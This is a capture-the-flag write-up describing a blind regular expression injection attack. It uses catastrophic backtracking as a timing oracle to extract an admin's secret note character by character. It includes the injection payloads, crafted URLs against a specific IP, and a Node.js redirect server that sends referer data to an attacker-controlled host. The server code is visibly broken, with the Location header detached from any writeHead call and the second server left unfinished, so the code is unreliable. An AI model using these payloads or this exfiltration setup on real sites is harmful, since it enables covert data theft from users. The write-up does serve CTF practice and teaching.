Rating:

The flag is in the admin's note, so we had to do XSS.
Looking at app.js carefully, we realized that line 60 builds a regular expression object from an arbitrary input of document.location.search and line 61 does a test using the regular expression object.
Thus, we decided to do a blind regular expression injection attack, which is explained in https://diary.shift-js.info/blind-regular-expression-injection/.
When we set document.location.search to (?=^He11o")((((.*)*)*)*)*salt, one of the following two things occurs.

* If there is a note that starts with He11o, the evaluation of the regular expression will take a long time and slow down browsers.
* If there is not, the evaluation will be done quickly.

Therefore, we wrote the server-side script that does not serve an image quickly but waits 2 seconds and redirects browsers to another server.


const http = require('http');
const { performance } = require('perf_hooks');
const { URL } = require('url');
const server = http.createServer((req, res) => {
setTimeout(() => {
'Location': 'http://ourserver.example.com:8001/?r=' + encodeURIComponent(req.headers.referer) + '&s=' + encodeURIComponent(performance.now())
});
res.end();
}, 2000);
});
server.listen(8000);

const server2 = http.createServer(function (req, res) {
const url = new URL(req.url, 'http://ourserver.example.com:8001');
console.log(url.searchParams.get('r'));
console.log(performance.now() - parseInt(url.searchParams.get('s')));

Therefore, making the admin visit http://34.84.161.130:18364/?^(?=^TSGCTF\{A)((((.*)*)*)*)*salt#http://ourserver.example.com:8000/, http://34.84.161.130:18364/?^(?=^TSGCTF\{B)((((.*)*)*)*)*salt#http://ourserver.example.com:8000/, ..., we determined the flag.